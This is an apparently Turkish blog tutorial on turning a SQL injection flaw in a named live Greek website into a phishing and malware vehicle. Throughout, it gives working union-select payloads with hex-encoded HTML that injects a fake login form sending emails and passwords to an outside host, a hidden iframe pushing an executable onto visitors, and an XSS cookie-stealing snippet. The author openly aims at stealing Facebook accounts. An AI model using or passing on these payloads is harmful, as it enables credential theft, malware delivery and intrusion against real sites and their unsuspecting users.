0 SQLi Kullanarak URL Phishing Saldırıları

Merhaba bu yazıda alışılmış SQLi saldırılarının (Login bilgilerini alıp siteyi uçurmak gibi... ) aksine, SQLi barındıran sitenin URL adresini kendi lehimize göre nasıl manipule ederiz bu konuya değinicem.

"SQL Injection'ı buldun da fantezimi yapıyon ?" diye sorabilirsiniz...Örneğin; facebookmarket.com gibi güzel, kaymak gibi bi' domain buldunuz tabi sitede SQLi açığı mevcut olmalı! Bu siteye çakarsam 1 taşla 1 kuş vurmuş olurum, ama az sonra anlatacaklarımı bu sitede uygularsam çalamayacağım facebook account'u kalmaz.Başlayalım;

Muhtemel Senaryolar :

[1] SQLi açığı bulunan bir hedef bulmalıyız.

[2] Hedefe HTML Form enjekte edebiliriz. (İdeal & Basit)

[3] Hedefe iFrame enjekte edebiliriz.

[4] Kurbanı açık bulunan site üzerinden kendi tuzak yönlendirebiliriz.

[5] XSS injection yapabiliriz.

Kendinize bir hedef bulduğunuzu varsayarak 1. adımı geçiyorum.

[1] SQLi Açıklı Siteyi Masaya Yatıralım :

+ Hedef : http://www.stokokkino.gr/list.php?id=1

+ Exploit : http://www.stokokkino.gr/list.php?id=1+and+1=2+union+select+user();--

[2] Hedefe HTML Form Enjekte Edelim :

Enjekte edilecek form kodlarımız :

<form action="http://zoka.com/pompala.php" method="POST">
Mail : <input name="mail" type="text" /><br />
Sifre : <input name="password" type="text" />
<input type="submit" />
</form>
<iframe height="0" width="0">
</pre>
</div>
</iframe>

Form kodlarımız yukarıdaki gibi ama SQL'e yedirmek için bi' hex encoder bulup encode etmemiz gerekiyor.Ben bu siteyi kullandım : http://string-functions.com/string-hex.aspx

Hex :

0x3c666f726d20616374696f6e3d687474703a2f2f7a6f6b612e636f6d2f706f6d70616c612e706870206d6574686f643d22504f5354223e0d0a4d61696c203a203c696e70757420747970653d227465787422206e616d653d226d61696c223e3c62723e0d0a5369667265203a203c696e70757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d302077696474683d303e

Malicious URL :

http://www.stokokkino.gr/list.php?id=-1+union+select+0x3c666f726d20616374696f6e3d687474703a2f2f7a6f6b612e636f6d2f706f6d70616c612e706870206d6574686f643d22504f5354223e0d0a4d61696c203a203c696e70757420747970653d227465787422206e616d653d226d61696c223e3c62723e0d0a5369667265203a203c696e70757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d302077696474683d303e

Formumuzu SQLi açığı ile sayfaya gömdük.Biraz kıytırık görünüyor ama uğraşılırsa daha güzel şeyler ortaya çıkacağından eminim :)

[3] Şimdi iFrame İle Deneyelim :
iFrame injection ile yukarıdaki senaryonun aynısını kendi sitemizi çağırarak tekrar sayfaya gömebiliriz.Ben bu sefer farklı olarak kurbana uslu.exe adında ne idüğü belirsiz bişey yedirmek istiyorum.

Enjekte edilecek form kodlarımız :

<iframe src="http://localhost:8080/uslu.exe" allowtransparency="true" height=0 width=0 frameBorder="0" scrolling="no"></iframe>

Hex :

0x3c696672616d65207372633d22687474703a2f2f6c6f63616c686f73743a383038302f75736c752e6578652220616c6c6f777472616e73706172656e63793d227472756522206865696768743d302077696474683d30206672616d65426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e

Malicious URL :

http://www.stokokkino.gr/list.php?id=-1+union+select+0x3c696672616d65207372633d22687474703a2f2f6c6f63616c686f73743a383038302f75736c752e6578652220616c6c6f777472616e73706172656e63793d227472756522206865696768743d302077696474683d30206672616d65426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e

[4] XSS Injection :

Farkındayım yazı aldı başını gidiyor (: son olarak xss injectionla konuyu kapatıyorum.Bu yöntemle Cookie, Session bilgilerini çalabilir ya da yukarıdakilerin hepsini JavaScript kodlarıyla tekrar yorumlayabilirsiniz.XSS ile DDoS yapılabileceğini bile burada okudum ama dallamalar nasıl bi' yol izliyorlar henüz tam olarak çözemedim (: neyse;

Enjekte Edilecek XSS Kodu :

<img src=x onerror=confirm(document.cookie)>

Hex :

0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d28646f63756d656e742e636f6f6b6965293e0d0a

Malicious URL :

http://www.stokokkino.gr/list.php?id=-1+union+select+0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d28646f63756d656e742e636f6f6b6965293e0d0a

Şimdilik bu kadar arkadaşlar, yöntemler geliştirilebilir...Bir sonraki yazıda görüşmek üzere !